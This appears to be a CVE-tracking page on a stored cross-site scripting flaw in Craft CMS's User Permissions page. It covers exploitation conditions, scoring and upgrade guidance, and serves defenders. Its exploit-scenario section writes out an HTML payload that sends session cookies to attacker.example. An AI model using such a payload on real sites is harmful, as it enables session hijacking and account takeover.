Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker authenticates as Craft CMS admin
-
DeliveryNavigate to Settings
-
ExploitUser Groups
-
InstallInject HTML/JS payload into group name field
-
C2Save malicious user group to database
-
ExecuteVictim admin opens user edit page and clicks Permissions tab
-
ImpactStored payload renders unescaped and executes in victim's browser context
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires: (1) the attacker holds admin-level access to the Craft CMS control panel - PR:H per CVSS; (2) the Craft CMS instance has allowAdminChanges enabled in its production configuration - this is a non-default posture explicitly warned against in Craft's security documentation; (3) a second user must actively navigate to the Permissions tab of a user edit page (/admin/users/{id}) after the malicious group name is saved - UI:A per CVSS 4.0. Exploitation is limited to Craft CMS versions 5.0.0-RC1 through 5.8.21; version 5.8.22 is patched. Deployments that disable allowAdminChanges in production (the vendor-recommended configuration) are not exploitable because admin-level configuration changes, including user group name edits, are blocked at the application level. There is no path to unauthenticated or network-only exploitation. |
| Impact | The CVSS 4.0 score of 4.6 (Medium) reflects the high privilege requirement (PR:H - admin access) and required user interaction (UI:A), which significantly limit the realistic attack surface compared to a typical stored XSS. The CVSS vector (AV:N/AC:L/AT:N/PR:H/UI:A) indicates no network complexity or special attack requirements beyond having admin credentials and the non-default allowAdminChanges setting enabled in production. The EUVD and GHSA advisory confirm a public proof-of-concept payload is available, elevating risk above a purely theoretical finding. However, no EPSS data was provided and the vulnerability is absent from CISA KEV, suggesting no observed widespread exploitation. Real-world risk is further constrained by the fact that Craft CMS's own security documentation explicitly recommends disabling allowAdminChanges in production environments - systems following this guidance are not exploitable. The primary realistic threat model is admin-to-admin or admin-to-lower-privileged-user lateral escalation within a shared Craft CMS installation, not external attacker compromise. This is a meaningful but contextually limited risk, best prioritized by multi-admin or agency deployments where admin trust boundaries matter. |
| Exploit ScenarioDerived | An attacker with admin credentials on a Craft CMS 5.x installation that has allowAdminChanges enabled navigates to Settings → Users → User Groups, creates or renames a group with the payload '<img src=x onerror="fetch('https://attacker.example/steal?c='+document.cookie)" hidden>', and saves it. When a second admin or privileged user later opens any user's edit page and clicks the Permissions tab, the injected script silently exfiltrates the victim's session cookie to the attacker's server. A working proof-of-concept reproducing this with an alert() payload is publicly documented in the vendor's GHSA advisory. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 22, 2026
Stored XSS in Craft CMS (versions 5.0.0-RC1 through 5.8.21) allows an admin-level attacker to permanently embed malicious JavaScript into the User Permissions page by crafting a user group name with an unsanitized HTML payload. The script executes in the browser of any user who subsequently opens the Permissions tab on a user's edit page, creating a persistent cross-user attack vector within the control panel. Vendor-confirmed proof-of-concept steps are publicly documented in GHSA-g3hp-vvqf-8vw6; no confirmed active exploitation or CISA KEV listing at time of analysis.
RemediationAI
Upgrade Craft CMS to version 5.8.22 or later, which applies output escaping to user group names in the User Permissions page template per the upstream fix referenced in https://github.com/craftcms/cms-ghsa-4mgv-366x-qxvx/pull/2. The vendor advisory is at https://github.com/craftcms/cms/security/advisories/GHSA-g3hp-vvqf-8vw6. As a compensating control prior to patching, set allowAdminChanges = false in your production Craft CMS config/general.php - this is already recommended by Craft's security hardening guide and directly blocks the precondition for exploitation by preventing admin-level configuration changes; note this will also restrict legitimate admin configuration workflows. Additionally, audit existing user group names for unexpected HTML tags or JavaScript content as indicators of prior exploitation. Restrict admin-level access to the minimum required set of users, reducing the pool of accounts capable of injecting the payload.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Craft CMS (CPE: cpe:2.3:a:craftcms:cms:*:*:*:*:*:*:*:*) is a PHP-based content management system with a Twig-based templating engine. CWE-79 (Improper Neutralization of Input During Web Page Generation) identifies the root cause: user group name values are stored in the database and subsequently rendered into the User Permissions page HTML template without HTML-entity encoding or output escaping. This is a distinct sink from two prior Craft CMS XSS findings (GHSA-2423-8xxj-wc3g affecting User Settings, and GHSA-vx7g-xw92-g4xj affecting the User Group Edit page), confirming a pattern of inadequate output encoding in the admin control panel's user-management templates. The attack surface is the control panel's /admin/users/{id} Permissions tab, a path reachable by any authenticated admin or privileged user.
Know when Cms gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Admin credentials required (PR:H); victim must visit permissions page (UI:R); payload executes cross-user causing scope change (S:C); no availability impact.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
Craft CMS from version 5.0.0-RC1 contains a stored cross-site scripting vulnerability in the User Permissions page where user group names are rendered without proper HTML escaping. Attackers with admin access can inject arbitrary JavaScript via the user group name field that executes when other users view or edit permissions.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Cayin CMS suffers from an authenticated OS semi-blind command injection vulnerability using default credentials. Rated c
Multiple integer underflows in the icmLut_allocate function in International Color Consortium (ICC) Format library (iccl
phpKF CMS 3.00 Beta allows unauthenticated PHP file upload by disguising it as a PNG, then renaming it for execution. Po
Deserialization of Untrusted Data in the Sitecore.Security.AntiCSRF (aka anti CSRF) module in Sitecore CMS 7.0 to 7.2 an
Deserialization of Untrusted Data in the anti CSRF module in Sitecore through 9.1 allows an authenticated attacker to ex
Unauthenticated file disclosure in LavaLite CMS through 10.1.2 allows remote attackers to download private stored files
Authenticated remote code execution in Craft CMS versions 5.5.0 through 5.9.13 allows admin users to execute arbitrary P
SQL injection vulnerability in hava_post.php in Havalite CMS 1.1.0 and earlier allows remote attackers to execute arbitr
Unrestricted file upload vulnerability in hava_upload.php in Havalite CMS 1.1.0 and earlier allows remote attackers to e
Cross-site request forgery (CSRF) vulnerability in Ilch CMS allows remote attackers to hijack the authentication of admi
Multiple cross-site scripting (XSS) vulnerabilities in Havalite 1.0.4 and earlier allow remote attackers to inject arbit
A security vulnerability in juzaweb CMS (CVSS 6.3). Risk factors: public PoC available.
EUVD-2026-38175
GHSA-9r7j-7jhg-4f4c
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB